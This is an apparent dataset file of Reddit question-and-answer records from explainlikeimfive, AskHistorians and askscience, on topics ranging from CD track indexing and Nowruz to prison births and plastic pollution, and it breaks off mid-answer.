{"q_id": "1ptiyi", "title": "how do cd's detect the next song?", "selftext": "in a cd player you can skip from song to song, how does a cd player or cd know where the next song begins?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1ptiyi/eli5_how_do_cds_detect_the_next_song/", "answers": {"a_id": ["cd5uwxw", "cd5ux10"], "score": [9, 3], "text": ["At the beginning of a CD is an index. This tells the CD player where on the disk each song starts, in the same way that an index at the start of a book tells you where each chapter starts.", "A CD has got a short contents file at the very start, much like a book does, that tells the player where the start and end of each file (song) is. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "66h6vx", "title": "how come it snows metal on venus?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/66h6vx/eli5how_come_it_snows_metal_on_venus/", "answers": {"a_id": ["dgifyc4", "dgihl2x"], "score": [16, 46], "text": ["Because it's hot enough to boil the metal (into vapour), but the pressure and temperature are just right at certain altitudes to allow it to condense out in the atmosphere and fall.\n\nPretty much exactly how you get snow from water on earth, in fact.", "Hey man! I made a quick [video](_URL_0_) to answer your question! If you don't want to watch it, here's a summary of what the video covers:\n\n- It's very hot on venus, the plains can reach a very hot 480\u00b0C which makes all the metal in the atmosphere vaporize!\n\n- The vaporized metals then rise up in the air, and cool off around the peaks of mountains.\n\n- These metals then cool down and leave a nice snow cap on the top of a mountain! The metals are usually; galena and bismuthinite.\n\nHope you enjoyed the joke at the end of the video.\n\nHave a great day!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://www.youtube.com/watch?v=-qofed5LH70&amp;feature=youtu.be"]]}
{"q_id": "55aa7w", "title": "what causes shower dials to be so sensitive?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/55aa7w/eli5_what_causes_shower_dials_to_be_so_sensitive/", "answers": {"a_id": ["d88v9nl"], "score": [4], "text": ["You have a mix valve (could be behind the wall...sorry!) that control the \"default mix\".  That's probably not the case here, but it's the easy place to start.\n\nAdditionally, it's worth noting that our sense of \"hot enough\" and \"too hot\" are actually very, very close to each other.  This is _easily_ seen with hot tubs where 99 degrees is too cold for you to think you're getting into a hot tub and 104 or 105 is often hotter than people can handle.  So...thats a very tight window that makes your mix-sensitivity more about your senses than the actual mix.  \n\nLastly, you may not have a pressure balancer - this can lead to funkiness.  The second you open the hot valve the pressure behind that valve drops and then it soon thereafter starts to rise again so you often results in feeling sensitive.  A pressure balancer helps with this and is generally required for code in most places in North America (this is the same device that prevents scalding in the shower when someone flushes the toilet)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2iujdp", "title": "what happens when a pregnant woman gets sentenced to prison? is she just expected to have the baby while in prison?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2iujdp/eli5_what_happens_when_a_pregnant_woman_gets/", "answers": {"a_id": ["cl5l39b", "cl5l5h0", "cl5lp3q", "cl5mdvh", "cl5upiv", "cl5vl3l", "cl5vumo"], "score": [32, 15, 13, 9, 2, 2, 2], "text": ["Yes, there are many times where women have given birth in prison.\n\nGenerally the child then goes to the father, or the woman's next of kin that are willing to take it in. Barring that, it is put into the foster/adoption system.", "Yes. The mother is transported to a hospital to give birth. All the while she is still under guard and sometimes in restraints. Once the baby is deemed healthy, it is given to family or child protective services and the mother is sent back to jail/prison once she has recovered. \n\nThere are a few prisons that have special programs that allow the mother to keep and raise her baby in. These are rare and usually only for non-violent offenders", "Australian... Prison has a maternity ward, and a special unit with a kiddie fence around it. They generally stay with the mother until they're about 3.\n\nMost regular prisoners have pretty strong morals regarding kids.", "I had my son on the way to the hospital.  We were escorted in by 3 cop cars so the staff thought we were coming from the prison.  They were asking about what restraints I needed.  Whhaaa???  Luckily the misunderstanding was sorted out before I was cuffed to any beds.  I had already given birth alone and with no meds, I really didn't need that too.  So I imagine women come from the prison all the time for delivery.  They seemed use to it.", "There's a women's prison in my city.  I can't speak much to the details but I'm pretty sure it's a low security facility.  You often see young women with children in strollers walking on the sidewalk around the perimeter of the facility.  Young mothers who have gotten in trouble with the law are probably fairly comfortable there.  Medical care provided, healthy food provided, lots of time with the other mothers  &  babies there.  I can't believe many of them would consider it some place to run from.  I don't know what happens if/when the children get older.  Perhaps the facility is only for people with shorter prison sentences.", "I think it depends on the state. At some they may have facilities on hand to deal with labor and childbirth.\n\n When I gave birth in california my daughter had to be in the nicu for a while. For about a week every day a sheriff would come in with the mother and would let her visit/hold the baby.\n\n She remained at the hospital for about a week, I am assuming she was low risk as no handcuffs were involved. The doctors actually bluffed a little and said the mother had complications so she could remain in the hospital and be around her baby a little while longer.  I know all this because this baby was in the bed 2 down from mine and could overhear the doctors talking with her. \n\n The last day I saw the baby was when the foster family came in and had to go through the whole training video with the doctor and nurse. ", "_URL_0_ \n\nHere's a great podcast about just that!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], ["http://www.lifeofthelaw.org/the-hardest-time-moms-in-prison/"]]}
{"q_id": "a2qw4e", "title": "how can prison inmates gain so much muscle when their diet contains low amount of protein and lot of unhealthy food?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/a2qw4e/eli5how_can_prison_inmates_gain_so_much_muscle/", "answers": {"a_id": ["eb0fp94", "eb0i0oy", "eb0l96m"], "score": [21, 22, 5], "text": ["Inmates in first world countries get normal, nutritious meals, so nothing stopping them from staying fit\n\nRelatively poor countries, i\u2019m not so sure, could be they get a lot of cheap beans as meals, which contain a lot of proteins", "While there's no requirement that prison food tastes good or that it's especially healthy, most jurisdictions do require prisons to serve a required number of calories per day and a specific minimum nutritional need (carbs, proteins, vitamins, etc).  At least in most US states and most first world countries that's the case to some degree.  There's plenty of controversy in the US right now around prisons serving nearly inedible food or shirking those mandated requirements, but in general prisoners are required to be served a reasonable amount of food with specific dietary requirements.  \n\nAnd of course, there can be extra food going around.  It used to be that the #1 item in prison black markets was cigarettes.  Nowadays I've read that it's instant ramen.  Which again goes back to \"lots of prisons are serving bad food, so people get more when they can.\"  \n\nBut at the end of the day, so long as you're getting the required calories and some degree of protein, you can build some muscle.  And when you're in prison and there's not a lot to do, your daily exercise time probably becomes a big thing.  An hour or two of exercise a day is more than most people take, so a decent regimen over time combined with weight loss - again, as food is only meeting minimum requirements, it might not be easy to stay overweight - would make anyone start to look more muscly.", "First the amount of protein people get is usually a lot higher then they need. Most people eat enough protein .\n\nSecond inmates can still buy stuff from a prison commissary (store) where they can buy food, tuna, or even protein powder.\n\nAlso they have nothing to do and so you read, do push ups, situps, squats ect..."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "5kqauz", "title": "what is an external sound card?", "selftext": "Hello I would like to know something more about external soundcards. I need to make a presentation about it. So I would like to know about output, inputs, how does it works and what is its purpose. Thank you !", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5kqauz/eli5what_is_an_external_sound_card/", "answers": {"a_id": ["dbq6sx6"], "score": [2], "text": ["To put it simply, your computer has only bits and bytes. A sound on your computer it's a bunch of zeros and ones, our ears are not designed to hear bits and bytes, we only hear sound waves, which is a physical phenomenon of air compression, so you need to convert the digital information to analog information (convert the bits and bytes into an electric current wich will be converted into sound waves thru the speakers you attach to the sound card or amplifier (in case they are not amplified)). \n\nThe same principle is applied to the computer. The computer is not designed to react to analog signals, for that you need to convert the sound wave into bits and bytes. That's the two main cores of a sound card, the **DAC** (digital-to-analog converter) and the **ADC** (analog-to-digital converter). \n\nIn the DAC you have your outputs, where you will convert the digital signal into analog to be interpreted by your speakers or headphones and then translated to your ears by the air.   The number of outputs it's a very important factor in order to achieve some tasks, such as a radio host being able to cue the next track to the headphones while the main outputs are broadcasting the music for the listeners. \n\nThe DAC is where you convert the audio signal from ie. your microphone into the digital domain. The number of inputs is also very important, for instance to record and band playing live, and being able to record each instrument separately in order to be mixdown by a mixing engineer.   \n\nThe external soundcard has alot of pros against the internal soundcard, being the main ones, portability, being able to connect to a laptop and no need to access your computer internally to reach for the soundcard avoiding the risk of damaging the internal components.     \n\nAlthough they are mainly used by professional's, if you want to have surround sound on your laptop, you will need a soundcard with the outputs required.   \n\nSome soundcards such as UAD Soundcards also has the possibility to have vst's (plugins) running on them live, allowing you, to hear how that sound effect (VST) is affecting your sound without eating too many resources from your computer and with almost zero latency due to the processing calculations.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "b9a2gl", "title": "In films like Apocalypse Now, the lack of discipline amongst US troops in Vietnam is highlighted. How bad was this problem in reality? What were the causes?", "selftext": "[deleted]", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/b9a2gl/in_films_like_apocalypse_now_the_lack_of/", "answers": {"a_id": ["ek3hhej", "ek3jjrs"], "score": [35, 21], "text": ["There's always more than can be said, but [this post](_URL_0_) by /u/Bernardito may answer some of your questions. ", "I'll let others speak to the reality of the indiscipline, but I can speak to the causes.  In short: morale.\n\nIn the 1971 *Armed Forces Journal*, Col. Robert D. Heinl, Jr explains the causes of the morale downturn from an officer's perspective:\n\n\"Intolerably clobbered and buffeted from without and within by social turbulence, pandemic drug addiction, race war, sedition, civilian scapegoatise, draftee recalcitrance and malevolence, barracks theft and common crime, unsupported in their travail by the general government, in Congress as well as the executive branch, distrusted, disliked, and often reviled by the public, the uniformed services today are places of agony for the loyal, silent professions who doggedly hang on and try to keep the ship afloat.\"\n\nTry to imagine fighting a war with no front lines (WoT veterans will have no problem making this leap, I imagine), in truly miserable country, where any victory won is never secure because *unless you stay and hold the ground,* enemy forces can retake any objective after you've left.  American warfighting was very much designed around the idea of lines of battle where, once secured, rear areas were safe, objectives were often not fought over again unless strategic shifts occurred, and you could more or less understand where the \"front\" was.\n\nVietnam really had none of that.  The NLF guerillas and NVA had considerable tactical advantages in-country and often chose the point of initiation for contact.  Read *Blackhawk Down* and get a sense for the importance of tactical initiative to US commanders, and then realize that rarely did American soldiers have that initiative in Vietnam.  That means you're fighting ambush warfare in difficult terrain, against an enemy that hits and fades with relative ease.  Please note that it's not like US forces weren't combat effective, they just had very little to show for it - Westmoreland's emphasis on reaching the \"tipping point\" where the battle of attrition would ideally reach a point where the NVA and NLF could not resupply their lost manpower meant that body counts were the primary way of indicating whether or not there was success in any given operation (this is mostly prior to the Tet Offensive).  Instead of capturing and holding territory as proof of your soldiering merit, you're instead charged with counting the cost to the enemy as a way of proving to your commanding officers that you're winning the war.  Grisly, no?\n\nSo, we have a tactical situation where you\u2019re never in control, contact is initiated largely by ambush, fighting would often devolve into close quarters brawls (less so in the highlands, but jungle fighting is almost always a close-fought affair), casualties were high, the terrain and climate were miserable, and you can start to understand why unit cohesion and morale began to suffer.  The inability for the higher-ups to understand the nature of the conflict and the grisly reliance on body counts as a measure of success further contributed to the morale downturn.\n\nThis is getting long-winded so I\u2019ll skip over the situation on the homefront \u2013 someone else should pick up that gauntlet as it\u2019s just as important \u2013 imagine facing everything outlined above, and being thought of as a monster by the people you\u2019ve left behind.  What grounds you, as a soldier, then?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/1od6wn/how_much_truth_is_there_to_the_popular_depictions/ccqx7ob/"], []]}
{"q_id": "b3qcz9", "title": "Happy Nowruz/ Nowruz Mobarak! What are the origins of the Persian New Year festival, and how has it become such a widely-celebrated holiday in Iran and its neighbors down to the present day?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/b3qcz9/happy_nowruz_nowruz_mobarak_what_are_the_origins/", "answers": {"a_id": ["ej1nwa6"], "score": [9], "text": ["The phrase _nowruz_ is first attested in Middle Persian as _nog ruz_; it has its root in an ancient Iranian tradition of seasonal festivals (_gahanbars_). Younger Avestan material dating to, perhaps, at its earliest about the mid-1st milennium BC (Yashts and the Afrinagan-i Gahanbar, a [later] liturgical text), allude to six such festivals: mid-spring, mid-summer, harvest, homecoming of the herds, and \"mid-year\", referring to winter. The last festival mentioned is Hamaspath-Maedaya, the meaning of which is uncertain. These were arranged in a typically Zoroastrian \"6+1 scheme\" by associating them with elements of creation, and thus divinities. The aforementioned six were associated respectively with the sky/Power, water/Health, plants/Immortality, animals/Good purpose, and Humans/Wisdom. This leaves out Fire and the final member of the divine heptad _Asha_, which according to Jenny Rose in the _Wiley-Blackwell Companion_ was incorporated into the seventh and holiest festival, that of Nowruz.\n\nThe association with _Asha_ allows us to understand its religious significance - _Asha_ is the _natural order of things_, harmony, order, and law. Celebration of _asha_ during the new year makes sense, to ensure an orderly passing from one year into the next. The first allusion attested in a surviving tradition seems to be the spring festival at the beginning of the epic _Vis and Ramin_, which was written down in the 11:th century AD but dates back about a thousand year before that. It appears that a first attempt to fix it was made in the early 6th century - numerous calendar changes since the pre-Achaemenid period has moved the liturgical calendar out of sync with the secular one. This placed it at the spring equinox (the return of light), but not at the calendral new year - this only happens as late as the Seljuq's, with the solar calendar of Jalal al-Dawla.\n\nBy notes in the Middle Persian _Nerangestan_, we can infer that _Gahanbars_ were religiously important in the strict sense, in that failing to observe them would count against you when passing the Bridge of Reckoning into the afterlife. We find a lighter side to it as well however in the writings of al-Biruni, who notes that stories such as that of the mythic ruler Jamshid's discovery of sugar were told during the festival. al-Biruni says that whereas Nowruz was associated with creation, the winter festival of _Mehragan_ was associated with resurrection of that creation.\n\nWhile Nowruz and other festivals have been celebrated continuously by Zoroastrians, Rose notes that the immense popularity and uniformity of Nowruz is a 20th century phenomenon, the result of the Pahlavi dynasty's effective use of mass media and appeal to Iranian tradition, as well as post-1979 reactions and counter-reactions. Its celebration is certainly well attested throughout the Islamic era, but it appears that it was only \"standardized\" in the mid-20th century (to some consternation for observant Zoroastrians, who obviously wish to maintain its religious significance).\n\nFurther reading: Apart from the aforementioned chapter by Rose, [Encyclopaedia Iranica](_URL_0_) has thorough (if somewhat tedious) articles on Nowruz and its history."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.iranicaonline.org/articles/nowruz-index"]]}
{"q_id": "3h5vm0", "title": "How did chants and songs evolve in soccer/European sports and not American sports?", "selftext": "Chants, songs and jingos play a big part in European sports, especially soccer. How did this evolve as normal, and why didn't it evolve for US sports (baseball, basketball, american football). ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/3h5vm0/how_did_chants_and_songs_evolve_in_soccereuropean/", "answers": {"a_id": ["cu4k39q", "cu4l990"], "score": [8, 2], "text": ["It IS a big part of the American Sport experience. Perhaps most of all in College Football.\n\nFor all the same reasons, build the team identity, link it to the fans, and show support. \n\nBut then with the rise of college bands something shifted, they began writing songs too, so you have the almost unique instance of school not just having an \"alma Mater\" but now having Fight Sings and Victory marches that their bands would play and fans would sing at events in addition to normal chants. Obviously most schools and teams across the world have some sort of anthem or song, but started was taken to heart most of all in the ranks of US collegiate athletics.  \n\nThe earliest recognized one is Boston College's \"For Boston\" in 1885. _URL_3_\n\nAnd many are quite famous like Notre Dame's _URL_4_\n\nAnd some include synchronized crowd movements like Texas A & M's: _URL_0_\n\nThough that did not stop other schools from also just developing short cheers that could be done with or without the bands, such as the University of Alabama's \"Rammer Jammer\" :_URL_1_\n\nOr Ole Miss's Hotty Toddy: _URL_5_ performed to the same tune as Alabama's.\n\nOr just playing a song so often it is used as such, like Tennessee and \"Rocky Top\" _URL_6_\n\nOr in some cases cheers can just be like everywhere else a call and refrain across the stadium like my Alma Mater, Virginia Tech: _URL_8_\n\nOr many schools have turned to more contemporary music as well, Wisconsin's Jump Around for instance: _URL_9_\n\nOr Virginia Tech again with our entrance song \"Metallica's Enter Sandman\" being used in key moments to amp the crowd too: _URL_2_\n\nAnd because College Athletics predated Professional sports they took their ques from the college game. So you have the Washington Redskins fight song: _URL_7_\n\nor the J-E-T-S JETS JETS JETS cheer for the New York Jets as examples. \n\nSo I would say simply that your question is based on a false premise based on a limited exposure to the American sports landscape. \n\nFor football too you used to have a rule where if the visitors went to start a play and they could not hear to communicate the Officials could penalize the home team. That ended in the late 60's so it was really only after then that the use of \"home-field advantage\" took off. ", "I think OP is referring to the fans singing, not bands playing. I love watching European sports and hearing the fans sing. It must be a wonderful experience to be in the stands singing along. Now I want an answer to this question too! "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.youtube.com/watch?v=t3N4ajREoHw", "https://www.youtube.com/watch?v=cCUkc26kQbI", "https://www.youtube.com/watch?v=blzftASduNc", "https://www.youtube.com/watch?v=R3ckYY9Vtrs", "https://www.youtube.com/watch?v=o_NxSTX0jkc", "https://www.youtube.com/watch?v=dRNeSESId30", "https://www.youtube.com/watch?v=KsIJ3L7Sj3c", "https://www.youtube.com/watch?v=kPVfFzbRuc4", "https://www.youtube.com/watch?v=KfJQGf0nelg", "https://www.youtube.com/watch?v=tODlPxhbGF8"], []]}
{"q_id": "30o68m", "title": "Even though we share 98% of our DNA with chimpanzees, we can not interbreed. Since it is known that Humans (Homo-Sapiens) interbred with Neanderthals, is there any estimate on how close of a match our DNA was?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/30o68m/even_though_we_share_98_of_our_dna_with/", "answers": {"a_id": ["cputos6"], "score": [5], "text": ["A recent estimation is that 7.9% of the differences between humans and chimps occurred after the split from Neanderthals, so that would put the estimate of differences in our DNA from Neanderthals at around 0.2%. In other words, modern homo sapiens share around 99.8% of their DNA with Neanderthals.\n\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://humanorigins.si.edu/evidence/genetics/ancient-dna-and-neanderthals/sequencing-neanderthal-dna"]]}
{"q_id": "6d5fvc", "title": "How prevalent are mentions of supernatural events in historical texts, and what do scholars feel about their veracity?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/6d5fvc/how_prevalent_are_mentions_of_supernatural_events/", "answers": {"a_id": ["di0s95g"], "score": [3], "text": ["One of the most interesting sources for these things is the *Chronicon* of Thietmar of Merseburg. Thietmar was the bishop of Merseburg and his *Chronicon* is widely regarded as being one of the most detailed and accurate sources for tenth and early eleventh century Germany. He writes in the Bede style - with sources and correspondants to confirm stories - and doesn't just record major events but also writes in extensive detail about military campaigns, the Emperor's diplomatic wranglings, political intrigue, court gossip, noble affairs and the day to day management of an episcopal see. He writes one of the more realistic and reasonable depictions of \"Pagan\" religion and temples, a far cry from the giant gold statues and human sacrifices of Adam of Bremen, and also writes at length about his own spiritual crisis at becoming a bishop when he doesn't think himself particularly pious.\n\nAll this makes his writing about the supernatural all the more fascinating. Thietmar is particularly concerned with revenant spirits. We might think of them today as zombies, but to Thietmar these were more like ghosts given corporeal form. In the 980s, he refers to a priest at Walsleben who, coming to the church first thing in the morning \"saw a great multitude bringing offerings to a priest\" and singing hymns. One of these ghosts turns out to be a woman he knew, who accurately predicts his death.\n\nIn the late 980s, Thietmar hears a story from \"reliable witnesses\" among the city's guards and \"best citizens\" of ghosts roaming the cemetery, lighting candles and singing hymns, which disappear before the very eyes as the crowd draws closer. Other revenant dead are heard to make a grunting noise and shuffle about. Sometimes these spirits are malevolent. Thietmar recounts a story from his neice Brigda, a senior nun, who in turn had heard it from Bishop Baldric of Utrecht. The bishop had reconsecrated an old church but the new priest saw the revenant dead making offerings in the cemetery. The following night he slept in the church but both he and his bed were \"thrown out by the dead\". He fortifies himself with relics and holy water, but the next night \"coming at the accustomed hour, the dead lifted him up, placed him before the altar and burned his body to fine ash.\" He warns us furthermore \"as the day to the living, so the night is conceded to the dead.\"\n\nIn 1017 in S\u00fclfeld, Thietmar tells us of a woman and her childre  whose house is attacked by a spirit while her husband is away. The neighbours rushing to help are \"repeatedly thrown back by some force\" before breaking in but finding no trace of the attacker. Eventually a priest comes and purifies the house and the attacks cease.\n\nIn August 1018, a \"new star\" appears for a fortnight - possibly a comet - and is taken as a portent of great woe. A pack of three giant wolves is seen to roam Thuringia attacking people and livestock and these are assumed to be supernatural in some form. Sure enough the ensuing year brings an earthquake and widespread upheaval and slaughter. \n\nWhat makes these accounts so fascinating is the way in which they're interwoven with completely everyday occurences. After Thietmar finishes his account of the murderous dead of Deventer in Utrecht, he immediately gives us news of Otto I's campaign against the Hungarians and the establishment of a garisson at Mei\u00dfen, for example.\n\nI've used David Warner's translation and edit of Thietmar, published under the title *Ottonian Germany: The* Chronicon *of Thietmar of Merseburg*. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "5qty14", "title": "what are the implications of steve bannon having a seat in the national security council", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5qty14/eli5_what_are_the_implications_of_steve_bannon/", "answers": {"a_id": ["dd23cz5", "dd25686"], "score": [26, 4], "text": ["The National Security Council is basically an advisory board that meet to inform the President about key foreign policy and national security interests and topics.\n\nThe Chairman of the Joints Chief of Staff is the most senior general officer of the United States military. His role is to keep the President up to date on vital national defense topics on the Council. Also replaced on the National Security Council with this latest order was the Director of National Intelligence (DNI). The DNI is the head of the United States Intelligence Community. All IC Agencies (CIA, NSA, DIA, NGA, etc.) report to him.\n\nThe implication that Trump replaced to head of the military and Intelligence Community with the guy that used to run Breitbart (along with the \"alternative facts\", the \"I know better than the generals\" rant from the election, and how he's been at odds with intelligence agencies since the Russian hack) implies that he's doubling down on drawing support from the alt-right than existing institutions that play vital roles in our national security.", "This move coupled with his refusal to read the daily intelligence reports says to me the US will drop the ball in the next 4 years and there will be a major, possibly nuclear terrorist attack on US soil."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1ls3xu", "title": "Life as a British family in what is now Pakistan in the 1920/30s", "selftext": "My great grandfather was in the RAF and posted to Quetta in what is now Pakistan. His wife and daughters (one of which was my grandmother) went with him. I'm not entirely sure of the dates but believe it was in the late 20s/early 30s. \n\nMy grandmother loved her time there and spoke of it fondly but unfortunately she died before I was old enough (and therefore interested enough) to ask her questions about it.\n\nLeaving out the politics of whether the British should or shouldn't have been there etc., I'd like to know what the life would have been like for them. It must have been like another world for them to travel that far!\n\nAnd if anyone can point me towards some resources to find out more about my specific family that'd be a huge bonus - I can't seem to find anything on the usual genealogy sites and records.\n\nThis is my first post to this sub - I've read the rules and don't think this breaks them but happy to be told otherwise.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1ls3xu/life_as_a_british_family_in_what_is_now_pakistan/", "answers": {"a_id": ["cc28tib"], "score": [11], "text": ["Offhand, I have no idea what their lives would have been like, but I can recommend a book. Check out *Empire Families* by Elizabeth Beuttner, it's about the families of imperial civil servants and other administrators, and how they dealt with living in India. \n\nIf you want to research them in particular, your best bet is the national archives of the UK [here](_URL_0_). I have no idea what kinds of records they'll have for RAF personnel in Quetta, but it's a place to start, anyway. Are you near London? If so, you can actually visit the place (it's in Kew, right next to the gardens), and they'll help you out.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["www.nationalarchives.gov.uk"]]}
{"q_id": "8v9qa6", "title": "AskScience AMA Series: We're three experts on plastic pollution who have worked with Kurzgesagt on a new video, ask us anything!", "selftext": "Modern life would be impossible without plastic - but we have long since lost control over our invention. Why has plastic turned into a problem and what do we know about its dangers? \"Kurzgesagt - In a Nutshell\" has released a [new video](_URL_1_) entitled \"Plastic Pollution: How Humans are Turning the World into Plastic\" today at 9 AM (EDT). The video deals with the increasing dangers of plastic waste for maritime life and the phenomenon of microplastics which is now found almost everywhere in nature even in human bodies.\n\nThree experts and researchers on the subject who have supported Kurzgesagt in creating the video are available for your questions:\n\nHannah Ritchie (Our World in Data, Oxford University); /u/Hannah_Ritchie\n\nRhiannon Moore (Ocean Wise, _URL_0_); TBD\n\nHeidi Savelli-Soderberg (UN Environment); /u/HeidiSavelli\n\nAsk them anything!\n\n\n\n\n\n\n\n\n\n\n", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/8v9qa6/askscience_ama_series_were_three_experts_on/", "answers": {"a_id": ["e1lmkff", "e1lmq9x", "e1lmrdh", "e1lmsrl", "e1ln3b4", "e1ln3t6", "e1ln3y7", "e1ln8k8", "e1lnc24", "e1lndmh", "e1lnhny", "e1lnlre", "e1lnulr", "e1lnusj", "e1lnxgb", "e1lo0cj", "e1lo0ir", "e1lo8sy", "e1lob8s", "e1loiki", "e1lonxi", "e1loxnz", "e1lozuj", "e1lp4lm", "e1lpoe5", "e1lpz03", "e1lpz3g", "e1lq10d", "e1lqznm", "e1lrhdm", "e1ls35k", "e1lsqd3", "e1ltgjg", "e1ltgu1", "e1ltjak", "e1luea8", "e1lye42", "e1lyh4m", "e1lyy8p", "e1lzbc5", "e1m36mu", "e1m47ew", "e1m5ig0", "e1mcj6n"], "score": [40, 6, 62, 205, 36, 5, 39, 6, 5, 69, 4, 7, 3, 7, 8, 869, 139, 5, 6, 3, 4, 5, 3, 6, 3, 3, 4, 3, 2, 2, 3, 2, 2, 2, 273, 20, 12, 2, 2, 2, 37, 2, 20, 2], "text": ["Excellent video. Kudos to whoever produced that.  ", "what do you think of of this machine a man invented that claims he can break down plastics to their original oil/fuels _URL_0_. and what do you think the viability of it being used on a grand scale?", "Are there any proposed or feasible solutions  to mitigate, control or remove the plastic that is already dumped in the oceans? ", "I heard that a specific type of worm can break down plastic. Is this a realistic solution? What is we bred these worms to get bigger etc and have swimming pools of them eating plastic? ", "How much does the use of degradable plastics help in solving these problems? Would it be possible to widely implement the use of degradable plastics? ", "If plastic has less environmental impact than other alternatives then is there a way to keep using plastics while doing less damage? ", "What's it like to work with Kurzgesagt?\n\nEdit: Just finished the video and I wanted to say thank you. That was really informative and interesting without overcomplicating the issue. ", "If all the suspicions about impact of microplastics on us (cancer, interference with hormones) is true, is there any way for us to minimize the impact of it apart from trying to lower the amount of microplactics in our environment? Are people doomed to live shorter lives in nearby future?", "Do we still need to cut up six pack rings?", "Garbage incineration. Yay or Nay?\n\nWood-based biocomposites as an alternative to plastic. Yay or Nay?", "How likely is it that technological/scientific advances in the near future will provide a solution that completely resolves the plastic waste issue? Something like bugs that eat plastic and transform it into something harmless, or even beneficial?", "Plastics for Change is using mobile technology to reduce plastic pollution and create resilient livelihoods for the urban poor in developing regions. Take part in the solution at _URL_0_ ", "How effective is recycling plastics? How close to continual use can you be with things like plastics bottles etc.", "What can we do to make the biggest impact at home?", "How do you think individuals can best push global or at least national efforts towards minimising plastic waste?\n\nIs there anything else you hope \u201athe people\u2018 would do, except trying to significantly reduce production of plastic garbage at home?", "I just have 4 questions to try to simplify it both for myself and to explain to others\n\n1. What are the simplest things any normal citizen can do every day to help with the issue?\n2. What are some things that people can do if they want to get more involved?\n3. What is the worse-case scenario if things don't change?\n4. What is the most likely scenario if things don't change?\n\nThank you for doing this!", "I\u2019ve been given the impression that almost half of the plastic in the oceans is from the fishing industry and that most of the rest is from five developing-country rivers. Are we just fooling ourselves when people in developed countries seem to be careful about recycling and plastic waste programs when those efforts do almost nothing to address the problem?\n\nEdit: I\u2019m not trying to troll. I really feel like we\u2019ve been lied to for decades like we are the problem because we use plastic shopping bags to pick up out dog\u2019s poop and somehow we are bad people for that when we should have been told to boycott ALL fish consumption and sanction polluting countries.", "If i throw the plastic in recycle bins (in EU) and they get recycled. Is using plastic still a problem?", "Is recycling plastic doing more ham than good from a carbon footprint perspective?", "There's been some talk about certain bacteria being able to break down some common plastics, is this worth noting at all? Some people see it as a thing that may lead to bacteria that can break down plastic, but I haven't seen much proof of it, and am genuinely curious.", "It seems like every day I encounter new media messages (e.g., ads, hashtags, videos, articles) about the rise of plastic pollution, encouraging people to use less plastic. Is there any evidence that these messages, like the video you have recently made, are effective? In other words, does media coverage of the issue actually lead to increased awareness, less plastic use, increased recycling, etc.? \n\nEdit: I\u2019ve watched the video since posting this and I want to say thank you for making it! Very informative and entertaining. ", "I'd love to recycle my plastic but my local recycling center only accepts \"certain\" kinds of plastics.\n\nWhat's a guy to do?", "How is the rate of plastic production changing? Is it still growing quickly, or is it starting to flatten out? ", "Thank you for the AMA!\n\nI\u2019ve started to move away from single use plastics but I\u2019m finding it difficult because so much plastic is around; re; packaging. Is there anything being developed to replace plastic packaging for items? Packaging for cheese, nuts, meats, etc.? \n\nThanks so much for your time, and have a wonderful day", "Are the garbage patches in the Pacific real? ", "What's the ratio of plastic waste betweem consumers and corporations? For example, I remember reading a study in California that claimed only 5% of water waste came from individuals, whereas the rest was the agriculture industry and other factories and industries. Is it a similar situation when it comes to plastic pollution?", "Why can't we just solve this problem by taxing companies that produce plastic? That should discourage companies from utilizing plastic and we can use the tax money to further support the environment.", "How does the impact of primary microplastics (e.g. from cosmetics) quantitatively compare to the impact of secondary microplastics (from degrading macroplastics)? \n\nAm very thankful for you offering this AMA!", "What do you think about governments banning single use plastic bags - and making the consumers pay for bags that are worse on the environment ?", "I work in PET industry and sell machine that blows pet bottles.\nTo ne honest, if the consumer was respectful of the recycling process, there would no debate on plastic.\nWhat more can we do as an industry to sensibilize the consumer ? (Because we care, obvioisly)", "How do you deal with the depression? I can barely walk through Target without thinking \u201cthis will probably mostly end up in the ocean somewhere or at least be in a landfill for infinity.\u201d", "Thanks for doing this! Is there a type of plastic or packaging that should particularly be avoided?\n\n  \n\n\nLet's say for cat food - I'm always wondering what is the best: can, tetrapac or plastic?", "I read that plastic is frequently outsourced to China for recycling, that it sometimes includes hidden hazardous waste and that the Chinese dump or burn much of it. Are you familiar with any of this?", "Is this a plastic issue or a waste management issue?  ", "Thanks for all your questions and the interesting discussion! \n\nI've seen lots of questions based 